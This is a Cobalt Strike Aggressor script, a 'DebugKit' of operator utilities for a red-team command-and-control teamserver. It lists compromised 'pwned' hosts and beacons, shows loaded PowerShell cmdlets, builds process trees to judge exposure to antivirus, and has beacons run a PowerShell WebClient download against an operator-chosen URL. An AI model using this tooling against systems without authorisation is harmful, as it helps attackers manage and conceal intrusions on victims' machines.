# This kit is limited to actions that I use for development and debugging, and thus is not loaded with the rest of them. # @Und3rf10w command beaconinfo { foreach $beacon (beacons()) { println("Beacon ID: " . $beacon['id'] . " is " . $beacon['computer']); } } # This basically shows the powershell commandlets loaded for every beacon command loaded_powershell{ foreach $beacon (beacons()) { if (data_query('cmdlets')[$beacon['id']] ne $null) { println("\c7ID: \cF" . $beacon['id'] . ",\c3 Hostname: \cF" . $beacon['computer'] . ",\c4 Cmdlets Enabled: \cF" . data_query('cmdlets')[$beacon['id']]); } } } # This shows what responses generated by the c2 server would look like command c2_sample_server{ println(data_query('metadata')['c2sample.server']); } # This shows what requests generated by the clients look like command c2_sample_client{ println(data_query('metadata')['c2sample.client']); } # This shows a list of everyone that's connected to the teamserver: command who{ println("\c7Currently logged on users on this teamserver are:"); foreach $user (data_query('users')){ println("\c3 * \cF $user"); } } # This command shows a hostname of every sessions that happened, active or inactive. Basically just to provide a list of pwned hosts. command pwn3d_hosts { foreach $session (data_query('sessions')) { $computer = $session['computer']; println($computer); } } # Shows the queryable Keys within cobalt strike's data model command show_data_keys{ foreach $key (data_keys()){ println("\n\c4=== $key ==="); } } # Queries the specified key within cobalt strike's data model # USAGE: query_data_key command query_data_key { $key_name = $1; println("\n\c4=== Data for \c8\U$key_name\U \c4data key ===\n"); println(data_query($key_name)); } # Syncs all of the downloads on the teamserver to a specified path. Recursively recreates the file structure as it was on the system the file was downloaded from # This is not very safe to use. # TODO: Figure out how to get the content of a file stored on the teamserver # USAGE: sync_all_downloads [/path/on/client/machine/to/save/downloads/to] command sync_all_downloads { $file_path = $1; # TODO: sanity check, $1 MUST be provided. if (!-exists $file_path){ mkdir($filepath); } if (!-isDir $file_path){ println("\c4 $file_path is not a directory"); exit("Specified direcotry is not a directory"); } if (!-canwrite $file_path){ println("\c4 We can not write to $filepath (check permissions?)"); exit("Can not write to specified directory"); } # foreach $file (downloads()){ # if ($2){ # if ( ! $file['host'] eq $2 ){ # continue # } # } # println("Processing download for " . size(downloads()) . " files..."); # $newpath = $file['path']; # $newpath = strrep($newpath, "\\", "/"); # if ($newpath eq ""){ $newpath = "/"; } # Sanity check in the event that the new path is blank # $newpath = $file_path + "/" + $file['host'] + "/" + $newpath; # if (!-exists $newpath){ # mkdir($newpath); # } # $fullfile = $newpath + $file['name']; # TODO: Figure out how to get the content of a file sitting on the teamserver # if (checkError($error)) { # println("Error recieved while trying to write " . $fullfile . ": $error"); # } # if (-canwrite $fullfile){ # $handle = openf(">>$fullfile"); # println($handle, $fileontheCSServer); #See TODO # closef($handle); # } else { # println("Error while trying to write to $fullfile"); # } # } # command sync_all_downloads { # $file_path = $1; # TODO: sanity check, $1 MUST be provided. # if (!-exists $file_path){ # mkdir($filepath); # } # if (!-isDir $file_path){ # println("\c4 $file_path is not a directory"); # exit("Specified direcotry is not a directory"); # } # if (!-canwrite $file_path){ # println("\c4 We can not write to $filepath (check permissions?)"); # exit("Can not write to specified directory"); # } # foreach $file (downloads()){ # if ($2){ # if (!$file['host'] eq $2){ # continue # } # } # println("Processing download for " . size(downloads()) . " files..."); # $newpath = $file['path']; # $newpath = strrep($newpath, "\\", "/"); # if ($newpath eq ""){ $newpath = "/"; } # Sanity check in the event that the new path is blank # $newpath = $file_path + "/" + $file['host'] + "/" + $newpath; # if (!-exists $newpath){ # mkdir($newpath); # } # # $fullfile = $newpath + $file['name']; # # TODO: Figure out how to get the content of a file sitting on the teamserver # # if (checkError($error)) { # # println("Error recieved while trying to write " . $fullfile . ": $error"); # # } # # if (-canwrite $fullfile){ # # $handle = openf(">>$fullfile"); # # println($handle, $fileontheCSServer); #See TODO # # closef($handle); # # } else { # # println("Error while trying to write to $fullfile"); # # } # } } # Generates and display a process tree for the selected beacon. # Use this to determine your current beacon's exposure to HIDS. # I've ran into situations where HIDS/AV will attempt to kill as many parents of a malicous process as possible sub pstreeBpsArray { @ps_arry = split('\n', $2); $b_pid = beacon_info($1, "pid"); treeBuilder(@ps_arry, $b_pid, 0); pstreeCreate(@tree, size(@tree)); blog($1, $treeoutput); } sub treeBuilder{ $b_pid = $2; @ps_arry = $1; $x = $3; foreach $entry (@ps_arry){ ($name, $ppid, $pid) = split("\\s+", $entry); if ($pid eq $b_pid){ @tree[$x][0] = $name; @tree[$x][1] = $pid; @tree[$x][2] = $ppid; treeBuilder(@ps_arry, $ppid, $x++); } } } sub pstreeCreate { $y = 0; $first_time_bool = true; @full_tree = $1; println(@full_tree); $x = $2; $x--; while ($x >= 0){ $spacer = ("\t" x $y); if (@full_tree[$x][0] ne $null){ if ($first_time_bool ne true){ $treeoutput = $treeoutput . "\n" . $spacer . "↳ "; } } $first_time_bool = false; $treeoutput = $treeoutput . "(" . @full_tree[$x][1] . ") " . @full_tree[$x][0]; $x--; $y++; } return $treeoutput; } # This alias checks whether CS thinks the beacon is an admin based on the '-isadmin' function alias iscsadmin{ if (-isadmin $1){ blog($1, "Beacon is admin"); } else{ blog($1, "Beacon is not admin"); } } # This alias shows the process tree for the beacon alias bproctree{ blog($1, "Generate this beacon's process tree...") $b_pid = beacon_info($1, "pid"); @ps_arry = wait(bps($1, &pstreeBpsArray)); } popup beacon_bottom { menu "DebugKit" { item "Notify at next check-in"{ local('$bid'); foreach $bid ($1){ openOrActivate($bid); binput($bid, "checkin"); bcheckin($bid); on beacon_checkin{ elog("Beacon: " . $1 . " checked in at $3 as requested"); } } } item "Display Beacon ID" { local('$bid'); foreach $bid ($1) { openOrActivate($bid); blog($bid, "This beacon's ID is: " . binfo($bid, "id")); } } item "HTTP Egress" { local('$bid'); foreach $bid ($1){ prompt_text("URL to assess?", "http://google.com", { $httpDebugURL = $1; return $httpDebugURL; }); sleep(1); binput($1, "powershell (New-Object System.Net.WebClient).DownloadString(\"$httpDebugURL\")"); bpowershell($1, "(New-Object System.Net.WebClient).DownloadString(\"$httpDebugURL\")"); } } item "Show beacon's process tree"{ local('$bid'); foreach $bid ($1) { blog($1, "Generate this beacon's process tree...") $b_pid = beacon_info($1, "pid"); @ps_arry = wait(bps($1, &pstreeBpsArray)); } } menu "Loaded PowerShell"{ item "Are PowerShell scripts loaded?"{ local('$bid') foreach $bid ($1){ if (data_query('cmdlets')[$bid] ne $null) { openOrActivate($bid); blog($bid, "\c7PowerShell Import Checker Status\cF:\c3 YES, ACTIVE POWERSHELL IMPORT\cF"); } else { openOrActivate($bid); blog($bid, "\c7PowerShell Import Checker Status\cF:\c4 NO ACTIVE POWERSHELL IMPORTS\cF"); } } } item "Show loaded PowerShell functions"{ local('$bid') foreach $bid ($1){ if (data_query('cmdlets')[$bid] ne $null) { openOrActivate($bid); blog($bid, "\c7Current active PowerShell modules for this Beacon are: \cF" . data_query('cmdlets')[$bid]); } else { openOrActivate($bid); berror($bid, "\c4ERROR! No active powershell modules"); } } } } } } popup ssh { menu "DebugKit"{ item "Display Session ID"{ local('$bid'); foreach $bid ($1) { openOrActivate($bid); blog($bid, "This session's ID is: " . binfo($bid, "id")); } } } }